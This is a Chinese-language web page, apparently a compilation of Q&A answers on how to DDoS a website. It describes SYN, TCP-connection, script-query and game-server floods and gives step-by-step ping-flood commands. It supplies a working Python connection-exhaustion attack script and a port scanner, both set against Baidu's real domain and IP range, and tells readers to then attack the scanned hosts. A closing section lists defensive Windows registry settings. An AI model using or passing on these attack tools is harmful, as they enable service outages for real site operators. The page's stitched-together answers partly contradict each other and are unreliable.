怎样ddos攻击一个网站_怎样ddos攻击一个网站

hacker|
338

网络安全技术 常见的DDoS攻击方法有哪些

常见的DDoS攻击方法有:

1、SYN/ACK Flood攻击

这种攻击方法是经典最有效的DDOS攻击方法,可通杀各种系统的网络服务,主要是通过向受害主机发送大量伪造源IP和源端口的SYN或ACK包,导致主机的缓存资源被耗尽或忙于发送回应包而造成拒绝服务,由于源都是伪造的故追踪起来比较困难,缺点是实施起来有一定难度,需要高带宽的僵尸主机支持。少量的这种攻击会导致主机服务器无法访问,但却可以Ping的通,在服务器上用Netstat -na命令会观察到存在大量的SYN_RECEIVED状态,大量的这种攻击会导致Ping失败、TCP/IP栈失效,并会出现系统凝固现象,即不响应键盘和鼠标。普通防火墙大多无法抵御此种攻击。

2、TCP全连接攻击

这种攻击是为了绕过常规防火墙的检查而设计的,一般情况下,常规防火墙大多具备过滤TearDrop、Land等DOS攻击的能力,但对于正常的TCP连接是放过的,殊不知很多网络服务程序(如:IIS、Apache等Web服务器)能接受的TCP连接数是有限的,一旦有大量的TCP连接,即便是正常的,也会导致网站访问非常缓慢甚至无法访问,TCP全连接攻击就是通过许多僵尸主机不断地与受害服务器建立大量的TCP连接,直到服务器的内存等资源被耗尽而被拖跨,从而造成拒绝服务,这种攻击的特点是可绕过一般防火墙的防护而达到攻击目的,缺点是需要找很多僵尸主机,并且由于僵尸主机的IP是暴露的,因此此种DDOS攻击方式容易被追踪。

3、刷Script脚本攻击

这种攻击主要是针对存在ASP、JSP、PHP、CGI等脚本程序,并调用MSSQLServer、MySQLServer、Oracle等数据库的网站系统而设计的,特征是和服务器建立正常的TCP连接,并不断的向脚本程序提交查询、列表等大量耗费数据库资源的调用,典型的以小博大的攻击方法。一般来说,提交一个GET或POST指令对客户端的耗费和带宽的占用是几乎可以忽略的,而服务器为处理此请求却可能要从上万条记录中去查出某个记录,这种处理过程对资源的耗费是很大的,常见的数据库服务器很少能支持数百个查询指令同时执行,而这对于客户端来说却是轻而易举的,因此攻击者只需通过Proxy代理向主机服务器大量递交查询指令,只需数分钟就会把服务器资源消耗掉而导致拒绝服务,常见的现象就是网站慢如蜗牛、ASP程序失效、PHP连接数据库失败、数据库主程序占用CPU偏高。这种攻击的特点是可以完全绕过普通的防火墙防护,轻松找一些Proxy代理就可实施攻击,缺点是对付只有静态页面的网站效果会大打折扣,并且有些Proxy会暴露DDOS攻击者的IP地址。

DDOS攻击的具体步骤?

1、首先在[开始]按钮右击点击其中的【运行】或者“win+R”打开运行框

2、接着,在运行框里面输入“cmd”然后点击确定

3、在“命令提示符”中,输入“arp -a",回车。并选择你想要攻击的ip"arp-a"这一步是看当前局域网里面的设备连接状态

4、输入”ping -l 65500 192.168.1.103 -t“并回车;-l是发送缓冲区大小,65500是它的极限;-t 就是一直无限下去,直到停止假设我要攻击ip为192.168.1.103的服务器,这就是ddos攻击

5、如果要停止攻击,就要按键盘上”Ctrl+C“来结束

DDOS名词解释,分布式拒绝服务(DDoS:Distributed Denial of Service)攻击指借助于客户/服务器技术,将多个计算机联合起来作为攻击平台,对一个或多个目标发动DDoS攻击,从而成倍地提高拒绝服务攻击的威力。

一流的攻击速度以及强大的隐蔽性能,使得DDOS集合了市面上所有攻击软件优点成为了最热的攻击方式。接下来本文将简单的介绍一下三种最为流行的DDOS攻击方式

DDOS攻击的方法有哪几种?

DDOS的主要几个攻击

SYN变种攻击

发送伪造源IP的SYN数据包但是数据包不是64字节而是上千字节这种攻击会造成一些防火墙处理错误锁死,消耗服务器CPU内存的同时还会堵塞带宽。

TCP混乱数据包攻击

发送伪造源IP的 TCP数据包,TCP头的TCP Flags 部分是混乱的可能是syn ,ack ,syn+ack ,syn+rst等等,会造成一些防火墙处理错误锁死,消耗服务器CPU内存的同时还会堵塞带宽。

针对用UDP协议的攻击

很多聊天室,视频音频软件,都是通过UDP数据包传输的,攻击者针对分析要攻击的网络软件协议,发送和正常数据一样的数据包,这种攻击非常难防护,一般防护墙通过拦截攻击数据包的特征码防护,但是这样会造成正常的数据包也会被拦截,

针对WEB Server的多连接攻击

通过控制大量肉鸡同时连接访问网站,造成网站无法处理瘫痪,这种攻击和正常访问网站是一样的,只是瞬间访问量增加几十倍甚至上百倍,有些防火墙可以通过限制每个连接过来的IP连接数来防护,但是这样会造成正常用户稍微多打开几次网站也会被封,

针对WEB Server的变种攻击

通过控制大量肉鸡同时连接访问网站,一点连接建立就不断开,一直发送发送一些特殊的GET访问请求造成网站数据库或者某些页面耗费大量的CPU,这样通过限制每个连接过来的IP连接数就失效了,因为每个肉鸡可能只建立一个或者只建立少量的连接。这种攻击非常难防护,后面给大家介绍防火墙的解决方案

针对WEB Server的变种攻击

通过控制大量肉鸡同时连接网站端口,但是不发送GET请求而是乱七八糟的字符,大部分防火墙分析攻击数据包前三个字节是GET字符然后来进行http协议的分析,这种攻击,不发送GET请求就可以绕过防火墙到达服务器,一般服务器都是共享带宽的,带宽不会超过10M 所以大量的肉鸡攻击数据包就会把这台服务器的共享带宽堵塞造成服务器瘫痪,这种攻击也非常难防护,因为如果只简单的拦截客户端发送过来没有GET字符的数据包,会错误的封锁很多正常的数据包造成正常用户无法访问,后面给大家介绍防火墙的解决方案

针对游戏服务器的攻击

因为游戏服务器非常多,这里介绍最早也是影响最大的传奇游戏,传奇游戏分为登陆注册端口7000,人物选择端口7100,以及游戏运行端口7200,7300,7400等,因为游戏自己的协议设计的非常复杂,所以攻击的种类也花样倍出,大概有几十种之多,而且还在不断的发现新的攻击种类,这里介绍目前最普遍的假人攻击,假人攻击是通过肉鸡模拟游戏客户端进行自动注册、登陆、建立人物、进入游戏活动从数据协议层面模拟正常的游戏玩家,很难从游戏数据包来分析出哪些是攻击哪些是正常玩家。

以上介绍的几种最常见的攻击也是比较难防护的攻击。一般基于包过滤的防火墙只能分析每个数据包,或者有限的分析数据连接建立的状态,防护SYN,或者变种的SYN,ACK攻击效果不错,但是不能从根本上来分析tcp,udp协议,和针对应用层的协议,比如http,游戏协议,软件视频音频协议,现在的新的攻击越来越多的都是针对应用层协议漏洞,或者分析协议然后发送和正常数据包一样的数据,或者干脆模拟正常的数据流,单从数据包层面,分析每个数据包里面有什么数据,根本没办法很好的防护新型的攻击。

编辑本段

SYN攻击解析

SYN攻击属于DOS攻击的一种,它利用TCP协议缺陷,通过发送大量的半连接请求,耗费CPU和内存资源。TCP协议建立连接的时候需要双方相互确认信息,来防止连接被伪造和精确控制整个数据传输过程数据完整有效。所以TCP协议采用三次握手建立一个连接。

第一次握手:建立连接时,客户端发送syn包到服务器,并进入SYN_SEND状态,等待服务器确认;

第二次握手:服务器收到syn包,必须确认客户的SYN 同时自己也发送一个SYN包 即SYN+ACK包,此时服务器进入SYN_RECV状态;

第三次握手:客户端收到服务器的SYN+ACK包,向服务器发送确认包ACK此包发送完毕,客户端和服务器进入ESTABLISHED状态,完成三次握手。

SYN攻击利用TCP协议三次握手的原理,大量发送伪造源IP的SYN包也就是伪造第一次握手数据包,服务器每接收到一个SYN包就会为这个连接信息分配核心内存并放入半连接队列,如果短时间内接收到的SYN太多,半连接队列就会溢出,操作系统会把这个连接信息丢弃造成不能连接,当攻击的SYN包超过半连接队列的最大值时,正常的客户发送SYN数据包请求连接就会被服务器丢弃, 每种操作系统半连接队列大小不一样所以抵御SYN攻击的能力也不一样。那么能不能把半连接队列增加到足够大来保证不会溢出呢,答案是不能,每种操作系统都有方法来调整TCP模块的半连接队列最大数,例如Win2000操作系统在注册表 HKLM\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters里 TcpMaxHalfOpen,TcpMaxHalfOpenRetried ,Linux操作系统用变量tcp_max_syn_backlog来定义半连接队列的最大数。但是每建立一个半连接资源就会耗费系统的核心内存,操作系统的核心内存是专门提供给系统内核使用的内存不能进行虚拟内存转换是非常紧缺的资源windows2000 系统当物理内存是4g的时候 核心内存只有不到300M,系统所有核心模块都要使用核心内存所以能给半连接队列用的核心内存非常少。Windows 2003 默认安装情况下,WEB SERVER的80端口每秒钟接收5000个SYN数据包一分钟后网站就打不开了。标准SYN数据包64字节 5000个等于 5000*64 *8(换算成bit)/1024=2500K也就是 2.5M带宽 ,如此小的带宽就可以让服务器的端口瘫痪,由于攻击包的源IP是伪造的很难追查到攻击源,,所以这种攻击非常多。

编辑本段

如何防止和减少DDOS攻击的危害

拒绝服务攻击的发展

从拒绝服务攻击诞生到现在已经有了很多的发展,从最初的简单Dos到现在的DdoS。那么什么是Dos和DdoS呢?DoS是一种利用单台计算机的攻击方式。而DdoS(Distributed Denial of Service,分布式拒绝服务)是一种基于DoS的特殊形式的拒绝服务攻击,是一种分布、协作的大规模攻击方式,主要瞄准比较大的站点,比如一些商业公司、搜索引擎和政府部门的站点。DdoS攻击是利用一批受控制的机器向一台机器发起攻击,这样来势迅猛的攻击令人难以防备,因此具有较大的破坏性。如果说以前网络管理员对抗Dos可以采取过滤IP地址方法的话,那么面对当前DdoS众多伪造出来的地址则显得没有办法。所以说防范DdoS攻击变得更加困难,如何采取措施有效的应对呢?下面我们从两个方面进行介绍。

如何进行DDOS攻击怎么做

会Python吗?下一个Python3.7.0-3.7.3,把代码复制下,粘贴即可

代码:

import socket

import time

import threading

#Pressure Test,ddos tool

#---------------------------

MAX_CONN=20000

PORT=80

HOST="baidu.com"#在双引号里输入对方IP或域名,要保证他联网了或开机了,这里拿百度做示范(别运行!不然后果自负!!)

PAGE="/index.php"

#---------------------------

buf=("POST %s HTTP/1.1\r\n"

"Host: %s\r\n"

"Content-Length: 10000000\r\n"

"Cookie: dklkt_dos_test\r\n"

"\r\n" % (PAGE,HOST))

socks=[]

def conn_thread():

  global socks

  for i in range(0,MAX_CONN):

      s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      try:

          s.connect((HOST,PORT))

          s.send(buf.encode())

          print ("Send buf OK!,conn=%d\n"%i)

          socks.append(s)

      except Exception as ex:

          print ("Could not connect to server or send error:%s"%ex)

          time.sleep(10)

#end def

def send_thread():

  global socks

  while True:

      for s in socks:

          try:

              s.send("f".encode())

              #print "send OK!"

          except Exception as ex:

              print ("Send Exception:%s\n"%ex)

              socks.remove(s)

              s.close()

      time.sleep(1)

#end def

conn_th=threading.Thread(target=conn_thread,args=())

send_th=threading.Thread(target=send_thread,args=())

conn_th.start()

send_th.start()

如果你要攻击网站,以上代码虽然可行,但是,攻击效果很不好。

所以,最好用Windows里的PING进行检测

操作:

在Windows搜索栏里输入:cmd

输入:

ping -n 10 -l 1 baidu.com

//这里拿百度做示范,别真打百度!

那么,就会发现,系统反映了:

正在 Ping baidu.com [39.156.69.79] 具有 1 字节的数据:

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=29ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=26ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

来自 39.156.69.79 的回复: 字节=1 时间=27ms TTL=52

39.156.69.79 的 Ping 统计信息:

  数据包: 已发送 = 10,已接收 = 10,丢失 = 0 (0% 丢失),

往返行程的估计时间(以毫秒为单位):

  最短 = 26ms,最长 = 29ms,平均 = 27ms

说明,百度的服务器有一个主服务器是39.156.69.79

那么,就来查找百度的所有服务器吧!

输入以下代码:

#绝大多数成功的网络攻击都是以端口扫描开始的,在网络安全和黑客领域,端口扫描是经常用到的技术,可以探测指定主机上是否

#开放了指定端口,进一步判断主机是否运行了某些重要的网络服务,最终判断是否存在潜在的安全漏洞,从一定意义上将也属于系统运维的范畴

#端口扫描器程序:模拟端口扫描器的工作原理,并采用多进程技术提高扫描速度

import socket

import sys

import multiprocessing

import time as t

def ports(ports_serve):

  #获取常用端口对应的服务名称

  for port in list(range(1,100))+[143,145,113,443,445,3389,8080]:

      try:

          ports_serve[port]=socket.getservbyport(port)

      except socket.error:

          pass

def ports_scan(host,ports_service):

  ports_open=[]

  try:

      sock=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

      #超时时间的不同会影响扫描结果的精确度

      socket.timeout(0.01)

  except socket.error:

      print('socket creation error')

      sys.exit()

  for port in ports_service:

      try:

          #尝试连接指定端口

          sock.connect((host,port))

          #记录打开的端口

          ports_open.append(port)

          sock.close()

      except socket.error:

          pass

  return ports_open

if __name__ == '__main__':

  m=multiprocessing.Manager()

  ports_service=dict()

  results=dict()

  ports(ports_service)

  #创建进程池,允许最多8个进程同时运行

  pool = multiprocessing.Pool(processes=8)

  net = '39.156.69.'#后面的IP少一个,因为要扫描这段区域内的IP,从而进行攻击

  for host_number in map(str,range(8,10)):

      host = net + host_number

      #创建一个新进程,同时记录其运行结果

      results[host] = pool.apply_async(ports_scan,(host,ports_service))

      print('starting '+host+'...')

  #关闭进程池,close()必须在join()之前调用

  pool.close()

  #等待进程池中的进程全部执行结束

  pool.join()

  #打印输出结果

  for host in results:

      print('='*30)

      print(host,'.'*10)

      for port in results[host].get():

          print(port,':',ports_service[port])

       

你会发现,Python反映了:

starting 39.156.69.8...

starting 39.156.69.9...

//并不是指百度只有这两个服务器!而是我们目前只能扫描到两个!

接着,运行DDoS攻击程序,把IP分别改为39.156.69.8和39.156.69.9

就可以实现DDoS攻击了。

//注:请不要用于违法用途,并且不要随意进行攻击。如想使用,可攻击虚拟机,但不要攻击外网IP和域名!!!

DDOS攻击 如何进行DDOS攻击

针对目前各大传奇私服站长受到盛大或者某些卑鄙小人的无耻行为,我特地整理了防止DDOS的攻击资料!

绝对可以防止针对传奇端口,或者WEB的大流量的DDOS承受大约40万个包的攻击量

设置保护80.7000.7100.7200等你的传奇端口的。

然后按下面整理的注册表修改或者添加下面的数值。

请注意,以下的安全设置均通过注册表进行修改,该设置的性能取决于服务器的配置,尤其是CPU的处理能力。如按照如下进行安全设置,采用双路至强2.4G的服务器配置,经过测试,可承受大约1万个包的攻击量。

接下来你就可以高枕无忧了。

一部份DDOS我们可以通过DOS命令netstat -an|more或者网络综合分析软件:sniff等查到相关攻击手法、如攻击某个主要端口、或者对方主要来自哪个端口、对方IP等。这样我们可以利用w2k自带的远程访问与路由或者IP策略等本身自带的工具解决掉这些攻击。做为无法利用这些查到相关数据的我们也可以尝试一下通过对服务器进行安全设置来防范DDOS攻击。

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

'关闭无效网关的检查。当服务器设置了多个网关,这样在网络不通畅的时候系统会尝试连接

'第二个网关,通过关闭它可以优化网络。

"EnableDeadGWDetect"=dword:00000000

'禁止响应ICMP重定向报文。此类报文有可能用以攻击,所以系统应该拒绝接受ICMP重定向报文。

"EnableICMPRedirects"=dword:00000000

'不允许释放NETBIOS名。当攻击者发出查询服务器NETBIOS名的请求时,可以使服务器禁止响应。

'注意系统必须安装SP2以上

"NonameReleaseOnDemand"=dword:00000001

'发送验证保持活动数据包。该选项决定TCP间隔多少时间来确定当前连接还处于连接状态,

'不设该值,则系统每隔2小时对TCP是否有闲置连接进行检查,这里设置时间为5分钟。

"KeepAliveTime"=dword:000493e0

'禁止进行最大包长度路径检测。该项值为1时,将自动检测出可以传输的数据包的大小,

'可以用来提高传输效率,如出现故障或安全起见,设项值为0,表示使用固定MTU值576bytes。

"EnablePMTUDiscovery"=dword:00000000

'启动syn攻击保护。缺省项值为0,表示不开启攻击保护,项值为1和2表示启动syn攻击保护,设成2之后

'安全级别更高,对何种状况下认为是攻击,则需要根据下面的TcpMaxHalfOpen和TcpMaxHalfOpenRetried值

'设定的条件来触发启动了。这里需要注意的是,NT4.0必须设为1,设为2后在某种特殊数据包下会导致系统重启。

"SynAttackProtect"=dword:00000002

'同时允许打开的半连接数量。所谓半连接,表示未完整建立的TCP会话,用netstat命令可以看到呈SYN_RCVD状态

'的就是。这里使用微软建议值,服务器设为100,高级服务器设为500。建议可以设稍微小一点。

"TcpMaxHalfOpen"=dword:00000064

'判断是否存在攻击的触发点。这里使用微软建议值,服务器为80,高级服务器为400。

"TcpMaxHalfOpenRetried"=dword:00000050

'设置等待SYN-ACK时间。缺省项值为3,缺省这一过程消耗时间45秒。项值为2,消耗时间为21秒。

'项值为1,消耗时间为9秒。最低可以设为0,表示不等待,消耗时间为3秒。这个值可以根据遭受攻击规模修改。

'微软站点安全推荐为2。

"TcpMaxConnectResponseRetransmissions"=dword:00000001

'设置TCP重传单个数据段的次数。缺省项值为5,缺省这一过程消耗时间240秒。微软站点安全推荐为3。

"TcpMaxDataRetransmissions"=dword:00000003

'设置syn攻击保护的临界点。当可用的backlog变为0时,此参数用于控制syn攻击保护的开启,微软站点安全推荐为5。

"TCPMaxPortsExhausted"=dword:00000005

'禁止IP源路由。缺省项值为1,表示不转发源路由包,项值设为0,表示全部转发,设置为2,表示丢弃所有接受的

'源路由包,微软站点安全推荐为2。

"DisableIPSourceRouting"=dword:0000002

'限制处于TIME_WAIT状态的最长时间。缺省为240秒,最低为30秒,最高为300秒。建议设为30秒。

"TcpTimedWaitDelay"=dword:0000001e

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NetBT\Parameters]

'增大NetBT的连接块增加幅度。缺省为3,范围1-20,数值越大在连接越多时提升性能。每个连接块消耗87个字节。

"BacklogIncrement"=dword:00000003

'最大NetBT的连接快的数目。范围1-40000,这里设置为1000,数值越大在连接越多时允许更多连接。

"MaxConnBackLog"=dword:000003e8

[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Afd\Parameters]

'配置激活动态Backlog。对于网络繁忙或者易遭受SYN攻击的系统,建议设置为1,表示允许动态Backlog。

"EnableDynamicBacklog"=dword:00000001

'配置最小动态Backlog。默认项值为0,表示动态Backlog分配的自由连接的最小数目。当自由连接数目

'低于此数目时,将自动的分配自由连接。默认值为0,对于网络繁忙或者易遭受SYN攻击的系统,建议设置为20。

"MinimumDynamicBacklog"=dword:00000014

'最大动态Backlog。表示定义最大"准"连接的数目,主要看内存大小,理论每32M内存最大可以

'增加5000个,这里设为20000。

"MaximumDynamicBacklog"=dword:00002e20

'每次增加的自由连接数据。默认项值为5,表示定义每次增加的自由连接数目。对于网络繁忙或者易遭受SYN攻击

'的系统,建议设置为10。

"DynamicBacklogGrowthDelta"=dword:0000000a

以下部分需要根据实际情况手动修改

'-------------------------------------------------------------------------------------------------

'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters]

'启用网卡上的安全过滤

'"EnableSecurityFilters"=dword:00000001

'

'同时打开的TCP连接数,这里可以根据情况进行控制。

'"TcpNumConnections"=

'

'该参数控制 TCP 报头表的大小限制。在有大量 RAM 的机器上,增加该设置可以提高 SYN 攻击期间的响应性能。

'"TcpMaxSendFree"=

'

'[HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Tcpip\Parameters\Interfaces\{自己的网卡接口}]

'禁止路由发现功能。ICMP路由通告报文可以被用来增加路由表纪录,可以导致攻击,所以禁止路由发现。

"PerformRouterDiscovery "=dword:00000000

0条大神的评论

发表评论